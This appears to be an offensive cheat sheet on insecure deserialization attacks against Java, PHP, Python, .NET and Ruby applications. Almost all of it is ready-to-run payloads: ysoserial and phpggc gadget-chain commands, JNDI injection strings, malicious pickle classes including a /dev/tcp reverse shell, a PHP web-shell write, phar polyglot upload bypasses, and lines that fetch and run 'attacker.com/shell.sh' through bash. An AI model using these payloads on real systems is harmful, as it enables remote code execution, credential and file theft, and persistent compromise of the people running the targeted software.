Insecure Deserialization

# List available gadget chains
java -jar ysoserial.jar

# Generate payload for specific chain
java -jar ysoserial.jar CommonsCollections1 "id" > payload.ser

# Common gadget chains:
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash"
java -jar ysoserial.jar CommonsCollections2 "wget attacker.com/shell -O /tmp/shell"
java -jar ysoserial.jar CommonsCollections3 "ping -c1 attacker.com"
java -jar ysoserial.jar CommonsCollections4 "nslookup attacker.com"
java -jar ysoserial.jar CommonsCollections5 "id"
java -jar ysoserial.jar CommonsCollections6 "whoami"
java -jar ysoserial.jar CommonsCollections7 "cat /etc/passwd"
java -jar ysoserial.jar Jdk7u21 "calc.exe"
java -jar ysoserial.jar Spring1 "touch /tmp/pwned"

# Base64 encode for transmission
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0

# JNDI/LDAP injection for Java RCE
# Works when JNDI lookups reach attacker-controlled server

# Start malicious LDAP server with marshalsec
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit"

# Payload triggers JNDI lookup
${jndi:ldap://attacker.com:1389/Exploit}
${jndi:rmi://attacker.com:1099/Exploit}

# Host compiled exploit class
# Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("id");
        } catch (Exception e) {}
    }
}

# PHP magic methods called during deserialization:
__wakeup()    # Called when object is unserialized
__destruct()  # Called when object is destroyed
__toString()  # Called when object is converted to string
__call()      # Called when inaccessible method is called
__get()       # Called when reading inaccessible property
__set()       # Called when writing inaccessible property

# Example vulnerable class
class FileHandler {
    public $filename;
    public $content;
    
    public function __destruct() {
        file_put_contents($this->filename, $this->content);
    }
}

# Exploit payload
O:11:"FileHandler":2:{s:8:"filename";s:14:"/tmp/shell.php";s:7:"content";s:29:"<?php system($_GET['cmd']); ?>";}

# List available gadget chains
./phpggc -l

# Generate payload for specific framework
./phpggc Laravel/RCE1 system id
./phpggc Symfony/RCE4 exec "id"
./phpggc Monolog/RCE1 exec "whoami"
./phpggc Guzzle/RCE1 exec "cat /etc/passwd"
./phpggc Doctrine/RCE1 exec "ls"
./phpggc Magento/SQLI "select * from admin_user"

# With wrapper for phar
./phpggc -p phar -o exploit.phar Laravel/RCE1 system id

# Base64 encoded
./phpggc -b Laravel/RCE1 system id

# URL encoded
./phpggc -u Laravel/RCE1 system id

# Phar archives can trigger deserialization via file operations
# file_exists(), is_dir(), file_get_contents(), include(), etc.

# Generate phar with malicious metadata
./phpggc -p phar -o exploit.phar Monolog/RCE1 exec id

# Trigger via phar:// wrapper
?file=phar://uploads/exploit.jpg/test.txt

# Works even with "safe" file operations:
file_exists("phar://uploads/evil.phar/test");
is_dir("phar://uploads/evil.phar/test");
filesize("phar://uploads/evil.phar/test");

# Bypass extension checks by renaming .phar to .jpg/.gif
# The phar:// wrapper ignores extensions

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

# Generate payload
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())

# Alternative using __reduce_ex__
class RCE2:
    def __reduce_ex__(self, protocol):
        import subprocess
        return (subprocess.check_output, (['id'],))

# Reverse shell payload
class ReverseShell:
    def __reduce__(self):
        import socket,subprocess,os
        return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"',))

# ViewState is a common .NET deserialization target
# Check for __VIEWSTATE parameter in forms

# If MAC validation is disabled or key is known:
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "id" | base64

# Common ysoserial.net gadgets
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe"
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "cmd.exe /c whoami"
ysoserial.exe -g PSObject -f BinaryFormatter -c "powershell -e [base64]"

# For LosFormatter (ViewState)
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe"

# For ObjectStateFormatter
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "calc.exe"

// JSON.NET with TypeNameHandling enabled
// TypeNameHandling.All, TypeNameHandling.Objects, TypeNameHandling.Auto

// Malicious JSON payload
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList",
    "$values": ["cmd.exe", "/c calc.exe"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}

// File read payload
{
  "$type": "System.IO.FileInfo, System.IO.FileSystem",
  "fileName": "C:\\windows\\win.ini"
}

# Ruby Marshal.load is dangerous with untrusted data
# YAML.load in older versions also vulnerable

# Universal RCE gadget (Ruby >= 2.0)
require 'erb'

class Exploit
  def initialize
    @src = "<%= system('id') %>"
    @filename = "exploit.erb"
  end
end

erb_payload = ERB.allocate
erb_payload.instance_variable_set(:@src, "<%= system('id') %>")
erb_payload.instance_variable_set(:@filename, "x")

payload = Marshal.dump(erb_payload)
puts payload.inspect

# YAML RCE (older Ruby versions)
--- !ruby/object:Gem::Installer
i: x
--- !ruby/object:Gem::SpecFetcher
i: y
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
       read: 0
       header: "abc"
    debug_output: &1 !ruby/object:Net::WriteAdapter
       socket: &1 !ruby/object:Gem::RequestSet
           sets: !ruby/object:Net::WriteAdapter
               socket: !ruby/module 'Kernel'
               method_id: :system
           git_set: id
       method_id: :resolve

# Identify ViewState in responses — look for __VIEWSTATE hidden field
# Base64-decode it; if it starts with /w (0xFF) it's unencrypted

# Check if ViewState MAC is disabled (vulnerable to direct exploitation)
# Indicators: no __VIEWSTATEGENERATOR, short ViewState length, error-based detection

# Generate .NET deserialization payload with ysoserial.net
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell -enc BASE64_PAYLOAD"

# ViewState exploitation when machineKey is known (leaked from web.config, LFI)
# The machineKey has validationKey and decryptionKey
python3 viewgen.py --webconfig web.config -m "cat /etc/passwd" -e "PAYLOAD"

# For .NET framework < 4.5 with MAC disabled:
# Simply forge the ViewState with malicious ObjectStateFormatter payload
ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "cmd /c whoami"

# JSON.NET ($type gadgets) — if TypeNameHandling != None
# Inject $type property to instantiate arbitrary .NET types:
# {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",
#  "MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList",
#  "$values":["cmd","/c calc"]},
#  "ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}

# Advanced pickle chain — multi-step command execution
import pickle, os, base64

class MultiStageExploit:
    """Chain multiple operations in a single pickle payload"""
    def __reduce__(self):
        # Use eval to execute complex Python code
        return (eval, (
            "(__import__('os').system('id > /tmp/proof.txt'), "
            "__import__('subprocess').check_output(['cat','/etc/passwd']))",
        ))

# Pickle protocol differences affect detection
# Protocol 0: human-readable, easily detected by WAFs
# Protocol 2: binary, harder to detect
# Protocol 4: Python 3.4+, most compact
for proto in range(5):
    payload = pickle.dumps(MultiStageExploit(), protocol=proto)
    print(f"Protocol {proto}: {len(payload)} bytes - {base64.b64encode(payload)[:50]}")

# Bypassing restricted unpickler (safe_loads)
# Some apps use RestrictedUnpickler that only allows certain modules
# Test if these can be chained:
class BypassRestriction:
    def __reduce__(self):
        # Use builtins which are often allowed
        return (getattr, (
            __import__('builtins'), '__import__'
        ))

# Fickling — automated pickle analysis and exploitation
# pip install fickling
# fickling --check suspicious.pkl          # Analyze pickle safety
# fickling --inject "os.system('id')" clean.pkl > evil.pkl  # Inject payload

# Real-world pickle targets:
# - Redis sessions (if using pickle serializer)
# - Django sessions (PickleSerializer — default before Django 1.6)
# - ML model files (.pkl, .joblib, .h5 with custom objects)
# - Celery task arguments (if pickle serializer enabled)
# - Flask-Caching (PickleSerializer)

# PHPGGC — PHP Generic Gadget Chains
# List available chains for a framework:
phpggc -l                                    # List all chains
phpggc -l WordPress                          # WordPress-specific chains
phpggc -l Laravel                            # Laravel chains

# Generate payloads for common frameworks:
# Laravel (RCE via Monolog)
phpggc Laravel/RCE1 system id

# WordPress (RCE via Guzzle)
phpggc WordPress/RCE1 system "cat /etc/passwd"

# Drupal (file write)
phpggc Drupal/RCE1 system whoami

# Phar deserialization — trigger unserialize via filesystem functions
# ANY filesystem function that accepts phar:// triggers deserialization:
# file_exists(), is_dir(), fopen(), file_get_contents(), include(), stat()
# Even image functions: getimagesize("phar://uploaded.jpg/test")

# Create a Phar polyglot (valid JPEG + valid Phar):
php -r '
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$object = new INSERT_GADGET_CLASS();  // Your POP chain start class
$phar->setMetadata($object);
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");  // GIF header for image bypass
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
// Rename to .gif/.jpg for upload
rename("exploit.phar", "exploit.gif");
'

# Finding custom gadget chains (when PHPGGC doesn't have one):
# 1. Map all classes with __destruct() or __wakeup() methods
# 2. Trace property access chains from those methods
# 3. Look for: __toString → file operations, __call → command execution
# grep -rn "__destruct|__wakeup|__toString|__call" /var/www/vendor/